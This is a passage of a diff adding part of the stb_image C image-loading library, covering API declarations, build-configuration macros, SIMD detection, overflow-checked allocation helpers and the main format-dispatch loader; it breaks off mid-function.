+STBIDEF stbi_us *stbi_load_16_from_memory   (stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_us *stbi_load_16_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *channels_in_file, int desired_channels);
+
+#ifndef STBI_NO_STDIO
+STBIDEF stbi_us *stbi_load_16          (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_us *stbi_load_from_file_16(FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+#endif
+
+////////////////////////////////////
+//
+// float-per-channel interface
+//
+#ifndef STBI_NO_LINEAR
+   STBIDEF float *stbi_loadf_from_memory     (stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels);
+   STBIDEF float *stbi_loadf_from_callbacks  (stbi_io_callbacks const *clbk, void *user, int *x, int *y,  int *channels_in_file, int desired_channels);
+
+   #ifndef STBI_NO_STDIO
+   STBIDEF float *stbi_loadf            (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+   STBIDEF float *stbi_loadf_from_file  (FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+   #endif
+#endif
+
+#ifndef STBI_NO_HDR
+   STBIDEF void   stbi_hdr_to_ldr_gamma(float gamma);
+   STBIDEF void   stbi_hdr_to_ldr_scale(float scale);
+#endif // STBI_NO_HDR
+
+#ifndef STBI_NO_LINEAR
+   STBIDEF void   stbi_ldr_to_hdr_gamma(float gamma);
+   STBIDEF void   stbi_ldr_to_hdr_scale(float scale);
+#endif // STBI_NO_LINEAR
+
+// stbi_is_hdr is always defined, but always returns false if STBI_NO_HDR
+STBIDEF int    stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user);
+STBIDEF int    stbi_is_hdr_from_memory(stbi_uc const *buffer, int len);
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_is_hdr          (char const *filename);
+STBIDEF int      stbi_is_hdr_from_file(FILE *f);
+#endif // STBI_NO_STDIO
+
+
+// get a VERY brief reason for failure
+// on most compilers (and ALL modern mainstream compilers) this is threadsafe
+STBIDEF const char *stbi_failure_reason  (void);
+
+// free the loaded image -- this is just free()
+STBIDEF void     stbi_image_free      (void *retval_from_stbi_load);
+
+// get image dimensions & components without fully decoding
+STBIDEF int      stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp);
+STBIDEF int      stbi_info_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp);
+STBIDEF int      stbi_is_16_bit_from_memory(stbi_uc const *buffer, int len);
+STBIDEF int      stbi_is_16_bit_from_callbacks(stbi_io_callbacks const *clbk, void *user);
+
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_info               (char const *filename,     int *x, int *y, int *comp);
+STBIDEF int      stbi_info_from_file     (FILE *f,                  int *x, int *y, int *comp);
+STBIDEF int      stbi_is_16_bit          (char const *filename);
+STBIDEF int      stbi_is_16_bit_from_file(FILE *f);
+#endif
+
+
+
+// for image formats that explicitly notate that they have premultiplied alpha,
+// we just return the colors as stored in the file. set this flag to force
+// unpremultiplication. results are undefined if the unpremultiply overflow.
+STBIDEF void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply);
+
+// indicate whether we should process iphone images back to canonical format,
+// or just pass them through "as-is"
+STBIDEF void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert);
+
+// flip the image vertically, so the first pixel in the output array is the bottom left
+STBIDEF void stbi_set_flip_vertically_on_load(int flag_true_if_should_flip);
+
+// as above, but only applies to images loaded on the thread that calls the function
+// this function is only available if your compiler supports thread-local variables;
+// calling it will fail to link if your compiler doesn't
+STBIDEF void stbi_set_unpremultiply_on_load_thread(int flag_true_if_should_unpremultiply);
+STBIDEF void stbi_convert_iphone_png_to_rgb_thread(int flag_true_if_should_convert);
+STBIDEF void stbi_set_flip_vertically_on_load_thread(int flag_true_if_should_flip);
+
+// ZLIB client - used by PNG, available for other purposes
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen);
+STBIDEF char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header);
+STBIDEF char *stbi_zlib_decode_malloc(const char *buffer, int len, int *outlen);
+STBIDEF int   stbi_zlib_decode_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
+
+STBIDEF char *stbi_zlib_decode_noheader_malloc(const char *buffer, int len, int *outlen);
+STBIDEF int   stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
+
+
+#ifdef __cplusplus
+}
+#endif
+
+//
+//
+////   end header file   /////////////////////////////////////////////////////
+#endif // STBI_INCLUDE_STB_IMAGE_H
+
+#ifdef STB_IMAGE_IMPLEMENTATION
+
+#if defined(STBI_ONLY_JPEG) || defined(STBI_ONLY_PNG) || defined(STBI_ONLY_BMP) \
+  || defined(STBI_ONLY_TGA) || defined(STBI_ONLY_GIF) || defined(STBI_ONLY_PSD) \
+  || defined(STBI_ONLY_HDR) || defined(STBI_ONLY_PIC) || defined(STBI_ONLY_PNM) \
+  || defined(STBI_ONLY_ZLIB)
+   #ifndef STBI_ONLY_JPEG
+   #define STBI_NO_JPEG
+   #endif
+   #ifndef STBI_ONLY_PNG
+   #define STBI_NO_PNG
+   #endif
+   #ifndef STBI_ONLY_BMP
+   #define STBI_NO_BMP
+   #endif
+   #ifndef STBI_ONLY_PSD
+   #define STBI_NO_PSD
+   #endif
+   #ifndef STBI_ONLY_TGA
+   #define STBI_NO_TGA
+   #endif
+   #ifndef STBI_ONLY_GIF
+   #define STBI_NO_GIF
+   #endif
+   #ifndef STBI_ONLY_HDR
+   #define STBI_NO_HDR
+   #endif
+   #ifndef STBI_ONLY_PIC
+   #define STBI_NO_PIC
+   #endif
+   #ifndef STBI_ONLY_PNM
+   #define STBI_NO_PNM
+   #endif
+#endif
+
+#if defined(STBI_NO_PNG) && !defined(STBI_SUPPORT_ZLIB) && !defined(STBI_NO_ZLIB)
+#define STBI_NO_ZLIB
+#endif
+
+
+#include <stdarg.h>
+#include <stddef.h> // ptrdiff_t on osx
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+#include <math.h>  // ldexp, pow
+#endif
+
+#ifndef STBI_NO_STDIO
+#include <stdio.h>
+#endif
+
+#ifndef STBI_ASSERT
+#include <assert.h>
+#define STBI_ASSERT(x) assert(x)
+#endif
+
+#ifdef __cplusplus
+#define STBI_EXTERN extern "C"
+#else
+#define STBI_EXTERN extern
+#endif
+
+
+#ifndef _MSC_VER
+   #ifdef __cplusplus
+   #define stbi_inline inline
+   #else
+   #define stbi_inline
+   #endif
+#else
+   #define stbi_inline __forceinline
+#endif
+
+#ifndef STBI_NO_THREAD_LOCALS
+   #if defined(__cplusplus) &&  __cplusplus >= 201103L
+      #define STBI_THREAD_LOCAL       thread_local
+   #elif defined(__GNUC__) && __GNUC__ < 5
+      #define STBI_THREAD_LOCAL       __thread
+   #elif defined(_MSC_VER)
+      #define STBI_THREAD_LOCAL       __declspec(thread)
+   #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 201112L && !defined(__STDC_NO_THREADS__)
+      #define STBI_THREAD_LOCAL       _Thread_local
+   #endif
+
+   #ifndef STBI_THREAD_LOCAL
+      #if defined(__GNUC__)
+        #define STBI_THREAD_LOCAL       __thread
+      #endif
+   #endif
+#endif
+
+#if defined(_MSC_VER) || defined(__SYMBIAN32__)
+typedef unsigned short stbi__uint16;
+typedef   signed short stbi__int16;
+typedef unsigned int   stbi__uint32;
+typedef   signed int   stbi__int32;
+#else
+#include <stdint.h>
+typedef uint16_t stbi__uint16;
+typedef int16_t  stbi__int16;
+typedef uint32_t stbi__uint32;
+typedef int32_t  stbi__int32;
+#endif
+
+// should produce compiler error if size is wrong
+typedef unsigned char validate_uint32[sizeof(stbi__uint32)==4 ? 1 : -1];
+
+#ifdef _MSC_VER
+#define STBI_NOTUSED(v)  (void)(v)
+#else
+#define STBI_NOTUSED(v)  (void)sizeof(v)
+#endif
+
+#ifdef _MSC_VER
+#define STBI_HAS_LROTL
+#endif
+
+#ifdef STBI_HAS_LROTL
+   #define stbi_lrot(x,y)  _lrotl(x,y)
+#else
+   #define stbi_lrot(x,y)  (((x) << (y)) | ((x) >> (-(y) & 31)))
+#endif
+
+#if defined(STBI_MALLOC) && defined(STBI_FREE) && (defined(STBI_REALLOC) || defined(STBI_REALLOC_SIZED))
+// ok
+#elif !defined(STBI_MALLOC) && !defined(STBI_FREE) && !defined(STBI_REALLOC) && !defined(STBI_REALLOC_SIZED)
+// ok
+#else
+#error "Must define all or none of STBI_MALLOC, STBI_FREE, and STBI_REALLOC (or STBI_REALLOC_SIZED)."
+#endif
+
+#ifndef STBI_MALLOC
+#define STBI_MALLOC(sz)           malloc(sz)
+#define STBI_REALLOC(p,newsz)     realloc(p,newsz)
+#define STBI_FREE(p)              free(p)
+#endif
+
+#ifndef STBI_REALLOC_SIZED
+#define STBI_REALLOC_SIZED(p,oldsz,newsz) STBI_REALLOC(p,newsz)
+#endif
+
+// x86/x64 detection
+#if defined(__x86_64__) || defined(_M_X64)
+#define STBI__X64_TARGET
+#elif defined(__i386) || defined(_M_IX86)
+#define STBI__X86_TARGET
+#endif
+
+#if defined(__GNUC__) && defined(STBI__X86_TARGET) && !defined(__SSE2__) && !defined(STBI_NO_SIMD)
+// gcc doesn't support sse2 intrinsics unless you compile with -msse2,
+// which in turn means it gets to use SSE2 everywhere. This is unfortunate,
+// but previous attempts to provide the SSE2 functions with runtime
+// detection caused numerous issues. The way architecture extensions are
+// exposed in GCC/Clang is, sadly, not really suited for one-file libs.
+// New behavior: if compiled with -msse2, we use SSE2 without any
+// detection; if not, we don't use it at all.
+#define STBI_NO_SIMD
+#endif
+
+#if defined(__MINGW32__) && defined(STBI__X86_TARGET) && !defined(STBI_MINGW_ENABLE_SSE2) && !defined(STBI_NO_SIMD)
+// Note that __MINGW32__ doesn't actually mean 32-bit, so we have to avoid STBI__X64_TARGET
+//
+// 32-bit MinGW wants ESP to be 16-byte aligned, but this is not in the
+// Windows ABI and VC++ as well as Windows DLLs don't maintain that invariant.
+// As a result, enabling SSE2 on 32-bit MinGW is dangerous when not
+// simultaneously enabling "-mstackrealign".
+//
+// See https://github.com/nothings/stb/issues/81 for more information.
+//
+// So default to no SSE2 on 32-bit MinGW. If you've read this far and added
+// -mstackrealign to your build settings, feel free to #define STBI_MINGW_ENABLE_SSE2.
+#define STBI_NO_SIMD
+#endif
+
+#if !defined(STBI_NO_SIMD) && (defined(STBI__X86_TARGET) || defined(STBI__X64_TARGET))
+#define STBI_SSE2
+#include <emmintrin.h>
+
+#ifdef _MSC_VER
+
+#if _MSC_VER >= 1400  // not VC6
+#include <intrin.h> // __cpuid
+static int stbi__cpuid3(void)
+{
+   int info[4];
+   __cpuid(info,1);
+   return info[3];
+}
+#else
+static int stbi__cpuid3(void)
+{
+   int res;
+   __asm {
+      mov  eax,1
+      cpuid
+      mov  res,edx
+   }
+   return res;
+}
+#endif
+
+#define STBI_SIMD_ALIGN(type, name) __declspec(align(16)) type name
+
+#if !defined(STBI_NO_JPEG) && defined(STBI_SSE2)
+static int stbi__sse2_available(void)
+{
+   int info3 = stbi__cpuid3();
+   return ((info3 >> 26) & 1) != 0;
+}
+#endif
+
+#else // assume GCC-style if not VC++
+#define STBI_SIMD_ALIGN(type, name) type name __attribute__((aligned(16)))
+
+#if !defined(STBI_NO_JPEG) && defined(STBI_SSE2)
+static int stbi__sse2_available(void)
+{
+   // If we're even attempting to compile this on GCC/Clang, that means
+   // -msse2 is on, which means the compiler is allowed to use SSE2
+   // instructions at will, and so are we.
+   return 1;
+}
+#endif
+
+#endif
+#endif
+
+// ARM NEON
+#if defined(STBI_NO_SIMD) && defined(STBI_NEON)
+#undef STBI_NEON
+#endif
+
+#ifdef STBI_NEON
+#include <arm_neon.h>
+#ifdef _MSC_VER
+#define STBI_SIMD_ALIGN(type, name) __declspec(align(16)) type name
+#else
+#define STBI_SIMD_ALIGN(type, name) type name __attribute__((aligned(16)))
+#endif
+#endif
+
+#ifndef STBI_SIMD_ALIGN
+#define STBI_SIMD_ALIGN(type, name) type name
+#endif
+
+#ifndef STBI_MAX_DIMENSIONS
+#define STBI_MAX_DIMENSIONS (1 << 24)
+#endif
+
+///////////////////////////////////////////////
+//
+//  stbi__context struct and start_xxx functions
+
+// stbi__context structure is our basic context used by all images, so it
+// contains all the IO context, plus some basic image information
+typedef struct
+{
+   stbi__uint32 img_x, img_y;
+   int img_n, img_out_n;
+
+   stbi_io_callbacks io;
+   void *io_user_data;
+
+   int read_from_callbacks;
+   int buflen;
+   stbi_uc buffer_start[128];
+   int callback_already_read;
+
+   stbi_uc *img_buffer, *img_buffer_end;
+   stbi_uc *img_buffer_original, *img_buffer_original_end;
+} stbi__context;
+
+
+static void stbi__refill_buffer(stbi__context *s);
+
+// initialize a memory-decode context
+static void stbi__start_mem(stbi__context *s, stbi_uc const *buffer, int len)
+{
+   s->io.read = NULL;
+   s->read_from_callbacks = 0;
+   s->callback_already_read = 0;
+   s->img_buffer = s->img_buffer_original = (stbi_uc *) buffer;
+   s->img_buffer_end = s->img_buffer_original_end = (stbi_uc *) buffer+len;
+}
+
+// initialize a callback-based context
+static void stbi__start_callbacks(stbi__context *s, stbi_io_callbacks *c, void *user)
+{
+   s->io = *c;
+   s->io_user_data = user;
+   s->buflen = sizeof(s->buffer_start);
+   s->read_from_callbacks = 1;
+   s->callback_already_read = 0;
+   s->img_buffer = s->img_buffer_original = s->buffer_start;
+   stbi__refill_buffer(s);
+   s->img_buffer_original_end = s->img_buffer_end;
+}
+
+#ifndef STBI_NO_STDIO
+
+static int stbi__stdio_read(void *user, char *data, int size)
+{
+   return (int) fread(data,1,size,(FILE*) user);
+}
+
+static void stbi__stdio_skip(void *user, int n)
+{
+   int ch;
+   fseek((FILE*) user, n, SEEK_CUR);
+   ch = fgetc((FILE*) user);  /* have to read a byte to reset feof()'s flag */
+   if (ch != EOF) {
+      ungetc(ch, (FILE *) user);  /* push byte back onto stream if valid. */
+   }
+}
+
+static int stbi__stdio_eof(void *user)
+{
+   return feof((FILE*) user) || ferror((FILE *) user);
+}
+
+static stbi_io_callbacks stbi__stdio_callbacks =
+{
+   stbi__stdio_read,
+   stbi__stdio_skip,
+   stbi__stdio_eof,
+};
+
+static void stbi__start_file(stbi__context *s, FILE *f)
+{
+   stbi__start_callbacks(s, &stbi__stdio_callbacks, (void *) f);
+}
+
+//static void stop_file(stbi__context *s) { }
+
+#endif // !STBI_NO_STDIO
+
+static void stbi__rewind(stbi__context *s)
+{
+   // conceptually rewind SHOULD rewind to the beginning of the stream,
+   // but we just rewind to the beginning of the initial buffer, because
+   // we only use it after doing 'test', which only ever looks at at most 92 bytes
+   s->img_buffer = s->img_buffer_original;
+   s->img_buffer_end = s->img_buffer_original_end;
+}
+
+enum
+{
+   STBI_ORDER_RGB,
+   STBI_ORDER_BGR
+};
+
+typedef struct
+{
+   int bits_per_channel;
+   int num_channels;
+   int channel_order;
+} stbi__result_info;
+
+#ifndef STBI_NO_JPEG
+static int      stbi__jpeg_test(stbi__context *s);
+static void    *stbi__jpeg_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__jpeg_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PNG
+static int      stbi__png_test(stbi__context *s);
+static void    *stbi__png_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__png_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__png_is16(stbi__context *s);
+#endif
+
+#ifndef STBI_NO_BMP
+static int      stbi__bmp_test(stbi__context *s);
+static void    *stbi__bmp_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__bmp_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_TGA
+static int      stbi__tga_test(stbi__context *s);
+static void    *stbi__tga_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__tga_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PSD
+static int      stbi__psd_test(stbi__context *s);
+static void    *stbi__psd_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc);
+static int      stbi__psd_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__psd_is16(stbi__context *s);
+#endif
+
+#ifndef STBI_NO_HDR
+static int      stbi__hdr_test(stbi__context *s);
+static float   *stbi__hdr_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__hdr_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PIC
+static int      stbi__pic_test(stbi__context *s);
+static void    *stbi__pic_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__pic_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_GIF
+static int      stbi__gif_test(stbi__context *s);
+static void    *stbi__gif_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static void    *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp);
+static int      stbi__gif_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PNM
+static int      stbi__pnm_test(stbi__context *s);
+static void    *stbi__pnm_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__pnm_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__pnm_is16(stbi__context *s);
+#endif
+
+static
+#ifdef STBI_THREAD_LOCAL
+STBI_THREAD_LOCAL
+#endif
+const char *stbi__g_failure_reason;
+
+STBIDEF const char *stbi_failure_reason(void)
+{
+   return stbi__g_failure_reason;
+}
+
+#ifndef STBI_NO_FAILURE_STRINGS
+static int stbi__err(const char *str)
+{
+   stbi__g_failure_reason = str;
+   return 0;
+}
+#endif
+
+static void *stbi__malloc(size_t size)
+{
+    return STBI_MALLOC(size);
+}
+
+// stb_image uses ints pervasively, including for offset calculations.
+// therefore the largest decoded image size we can support with the
+// current code, even on 64-bit targets, is INT_MAX. this is not a
+// significant limitation for the intended use case.
+//
+// we do, however, need to make sure our size calculations don't
+// overflow. hence a few helper functions for size calculations that
+// multiply integers together, making sure that they're non-negative
+// and no overflow occurs.
+
+// return 1 if the sum is valid, 0 on overflow.
+// negative terms are considered invalid.
+static int stbi__addsizes_valid(int a, int b)
+{
+   if (b < 0) return 0;
+   // now 0 <= b <= INT_MAX, hence also
+   // 0 <= INT_MAX - b <= INTMAX.
+   // And "a + b <= INT_MAX" (which might overflow) is the
+   // same as a <= INT_MAX - b (no overflow)
+   return a <= INT_MAX - b;
+}
+
+// returns 1 if the product is valid, 0 on overflow.
+// negative factors are considered invalid.
+static int stbi__mul2sizes_valid(int a, int b)
+{
+   if (a < 0 || b < 0) return 0;
+   if (b == 0) return 1; // mul-by-0 is always safe
+   // portable way to check for no overflows in a*b
+   return a <= INT_MAX/b;
+}
+
+#if !defined(STBI_NO_JPEG) || !defined(STBI_NO_PNG) || !defined(STBI_NO_TGA) || !defined(STBI_NO_HDR)
+// returns 1 if "a*b + add" has no negative terms/factors and doesn't overflow
+static int stbi__mad2sizes_valid(int a, int b, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__addsizes_valid(a*b, add);
+}
+#endif
+
+// returns 1 if "a*b*c + add" has no negative terms/factors and doesn't overflow
+static int stbi__mad3sizes_valid(int a, int b, int c, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__mul2sizes_valid(a*b, c) &&
+      stbi__addsizes_valid(a*b*c, add);
+}
+
+// returns 1 if "a*b*c*d + add" has no negative terms/factors and doesn't overflow
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR) || !defined(STBI_NO_PNM)
+static int stbi__mad4sizes_valid(int a, int b, int c, int d, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__mul2sizes_valid(a*b, c) &&
+      stbi__mul2sizes_valid(a*b*c, d) && stbi__addsizes_valid(a*b*c*d, add);
+}
+#endif
+
+#if !defined(STBI_NO_JPEG) || !defined(STBI_NO_PNG) || !defined(STBI_NO_TGA) || !defined(STBI_NO_HDR)
+// mallocs with size overflow checking
+static void *stbi__malloc_mad2(int a, int b, int add)
+{
+   if (!stbi__mad2sizes_valid(a, b, add)) return NULL;
+   return stbi__malloc(a*b + add);
+}
+#endif
+
+static void *stbi__malloc_mad3(int a, int b, int c, int add)
+{
+   if (!stbi__mad3sizes_valid(a, b, c, add)) return NULL;
+   return stbi__malloc(a*b*c + add);
+}
+
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR) || !defined(STBI_NO_PNM)
+static void *stbi__malloc_mad4(int a, int b, int c, int d, int add)
+{
+   if (!stbi__mad4sizes_valid(a, b, c, d, add)) return NULL;
+   return stbi__malloc(a*b*c*d + add);
+}
+#endif
+
+// returns 1 if the sum of two signed ints is valid (between -2^31 and 2^31-1 inclusive), 0 on overflow.
+static int stbi__addints_valid(int a, int b)
+{
+   if ((a >= 0) != (b >= 0)) return 1; // a and b have different signs, so no overflow
+   if (a < 0 && b < 0) return a >= INT_MIN - b; // same as a + b >= INT_MIN; INT_MIN - b cannot overflow since b < 0.
+   return a <= INT_MAX - b;
+}
+
+// returns 1 if the product of two ints fits in a signed short, 0 on overflow.
+static int stbi__mul2shorts_valid(int a, int b)
+{
+   if (b == 0 || b == -1) return 1; // multiplication by 0 is always 0; check for -1 so SHRT_MIN/b doesn't overflow
+   if ((a >= 0) == (b >= 0)) return a <= SHRT_MAX/b; // product is positive, so similar to mul2sizes_valid
+   if (b < 0) return a <= SHRT_MIN / b; // same as a * b >= SHRT_MIN
+   return a >= SHRT_MIN / b;
+}
+
+// stbi__err - error
+// stbi__errpf - error returning pointer to float
+// stbi__errpuc - error returning pointer to unsigned char
+
+#ifdef STBI_NO_FAILURE_STRINGS
+   #define stbi__err(x,y)  0
+#elif defined(STBI_FAILURE_USERMSG)
+   #define stbi__err(x,y)  stbi__err(y)
+#else
+   #define stbi__err(x,y)  stbi__err(x)
+#endif
+
+#define stbi__errpf(x,y)   ((float *)(size_t) (stbi__err(x,y)?NULL:NULL))
+#define stbi__errpuc(x,y)  ((unsigned char *)(size_t) (stbi__err(x,y)?NULL:NULL))
+
+STBIDEF void stbi_image_free(void *retval_from_stbi_load)
+{
+   STBI_FREE(retval_from_stbi_load);
+}
+
+#ifndef STBI_NO_LINEAR
+static float   *stbi__ldr_to_hdr(stbi_uc *data, int x, int y, int comp);
+#endif
+
+#ifndef STBI_NO_HDR
+static stbi_uc *stbi__hdr_to_ldr(float   *data, int x, int y, int comp);
+#endif
+
+static int stbi__vertically_flip_on_load_global = 0;
+
+STBIDEF void stbi_set_flip_vertically_on_load(int flag_true_if_should_flip)
+{
+   stbi__vertically_flip_on_load_global = flag_true_if_should_flip;
+}
+
+#ifndef STBI_THREAD_LOCAL
+#define stbi__vertically_flip_on_load  stbi__vertically_flip_on_load_global
+#else
+static STBI_THREAD_LOCAL int stbi__vertically_flip_on_load_local, stbi__vertically_flip_on_load_set;
+
+STBIDEF void stbi_set_flip_vertically_on_load_thread(int flag_true_if_should_flip)
+{
+   stbi__vertically_flip_on_load_local = flag_true_if_should_flip;
+   stbi__vertically_flip_on_load_set = 1;
+}
+
+#define stbi__vertically_flip_on_load  (stbi__vertically_flip_on_load_set       \
+                                         ? stbi__vertically_flip_on_load_local  \
+                                         : stbi__vertically_flip_on_load_global)
+#endif // STBI_THREAD_LOCAL
+
+static void *stbi__load_main(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc)
+{
+   memset(ri, 0, sizeof(*ri)); // make sure it's initialized if we add new fields
+   ri->bits_per_channel = 8; // default is 8 so most paths don't have to be changed
+   ri->channel_order = STBI_ORDER_RGB; // all current input & output are this, but this is here so we can add BGR order
+   ri->num_channels = 0;
+
+   // test the formats with a very explicit header first (at least a FOURCC
+   // or distinctive magic number first)
+   #ifndef STBI_NO_PNG
+   if (stbi__png_test(s))  return stbi__png_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_BMP
+   if (stbi__bmp_test(s))  return stbi__bmp_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_GIF
+   if (stbi__gif_test(s))  return stbi__gif_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_test(s))  return stbi__psd_load(s,x,y,comp,req_comp, ri, bpc);
+   #else
+   STBI_NOTUSED(bpc);
+   #endif
+   #ifndef STBI_NO_PIC
+   if (stbi__pic_test(s))  return stbi__pic_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   // then the formats that can end up attempting to load with just 1 or 2
+   // bytes matching expectations; these are prone to false positives, so
+   // try them later
+   #ifndef STBI_NO_JPEG
+   if (stbi__jpeg_test(s)) return stbi__jpeg_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_test(s))  return stbi__pnm_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_test(s)) {
+      float *hdr = stbi__hdr_load(s, x,y,comp,req_comp, ri);
+      return stbi__hdr_to_ldr(hdr, *x, *y, req_comp ? req_comp : *comp);
+   }
+   #endif
+
+   #ifndef STBI_NO_TGA
+   // test tga last because it's a crappy test!
+   if (stbi__tga_test(s))
+      return stbi__tga_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   return stbi__errpuc("unknown image type", "Image not of any known type, or corrupt");
+}
+
+static stbi_uc *stbi__convert_16_to_8(stbi__uint16 *orig, int w, int h, int channels)
+{
+   int i;
+   int img_len = w * h * channels;
+   stbi_uc *reduced;
+
+   reduced = (stbi_uc *) stbi__malloc(img_len);
+   if (reduced == NULL) return stbi__errpuc("outofmem", "Out of memory");
+
+   for (i = 0; i < img_len; ++i)
+      reduced[i] = (stbi_uc)((orig[i] >> 8) & 0xFF); // top half of each byte is sufficient approx of 16->8 bit scaling
+
+   STBI_FREE(orig);
+   return reduced;
+}
+
+static stbi__uint16 *stbi__convert_8_to_16(stbi_uc *orig, int w, int h, int channels)
+{
+   int i;
+   int img_len = w * h * channels;
+   stbi__uint16 *enlarged;
+
+   enlarged = (stbi__uint16 *) stbi__malloc(img_len*2);
+   if (enlarged == NULL) return (stbi__uint16 *) stbi__errpuc("outofmem", "Out of memory");
+
+   for (i = 0; i < img_len; ++i)
+      enlarged[i] = (stbi__uint16)((orig[i] << 8) + orig[i]); // replicate to high and low byte, maps 0->0, 255->0xffff
+
+   STBI_FREE(orig);
+   return enlarged;
+}
+
+static void stbi__vertical_flip(void *image, int w, int h, int bytes_per_pixel)
+{
+   int row;
+   size_t bytes_per_row = (size_t)w * bytes_per_pixel;
+   stbi_uc temp[2048];
+   stbi_uc *bytes = (stbi_uc *)image;
+
+   for (row = 0; row < (h>>1); row++) {
+      stbi_uc *row0 = bytes + row*bytes_per_row;
+      stbi_uc *row1 = bytes + (h - row - 1)*bytes_per_row;
+      // swap row0 with row1
+      size_t bytes_left = bytes_per_row;
+      while (bytes_left) {
+         size_t bytes_copy = (bytes_left < sizeof(temp)) ? bytes_left : sizeof(temp);
+         memcpy(temp, row0, bytes_copy);
+         memcpy(row0, row1, bytes_copy);
+         memcpy(row1, temp, bytes_copy);
+         row0 += bytes_copy;
+         row1 += bytes_copy;
+         bytes_left -= bytes_copy;
+      }
+   }
+}
+
+#ifndef STBI_NO_GIF
+static void stbi__vertical_flip_slices(void *image, int w, int h, int z, int bytes_per_pixel)
+{
+   int slice;
+   int slice_size = w * h * bytes_per_pixel;
+
+   stbi_uc *bytes = (stbi_uc *)image;
+   for (slice = 0; slice < z; ++slice) {
+      stbi__vertical_flip(bytes, w, h, bytes_per_pixel);
+      bytes += slice_size;
+   }
+}
+#endif
+
+static unsigned char *stbi__load_and_postprocess_8bit(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__result_info ri;
+   void *result = stbi__load_main(s, x, y, comp, req_comp, &ri, 8);
+
+   if (result == NULL)
+      return NULL;
+
+   // it is the responsibility of the loaders to make sure we get either 8 or 16 bit.
+   STBI_ASSERT(ri.bits_per_channel == 8 || ri.bits_per_channel == 16);
+
+   if (ri.bits_per_channel != 8) {
+      result = stbi__convert_16_to_8((stbi__uint16 *) result, *x, *y, req_comp == 0 ? *comp : req_comp);
+      ri.bits_per_channel = 8;
+   }
+
+   // @TODO: move stbi__convert_format to here
+
+   if (stbi__vertically_flip_on_load) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(stbi_uc));
+   }
+
+   return (unsigned char *) result;
+}
+
+static stbi__uint16 *stbi__load_and_postprocess_16bit(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__result_info ri;
+   void *result = stbi__load_main(s, x, y, comp, req_comp, &ri, 16);
+
+   if (result == NULL)
+      return NULL;
+
+   // it is the responsibility of the loaders to make sure we get either 8 or 16 bit.
+   STBI_ASSERT(ri.bits_per_channel == 8 || ri.bits_per_channel == 16);
+
+   if (ri.bits_per_channel != 16) {
+      result = stbi__convert_8_to_16((stbi_uc *) result, *x, *y, req_comp == 0 ? *comp : req_comp);
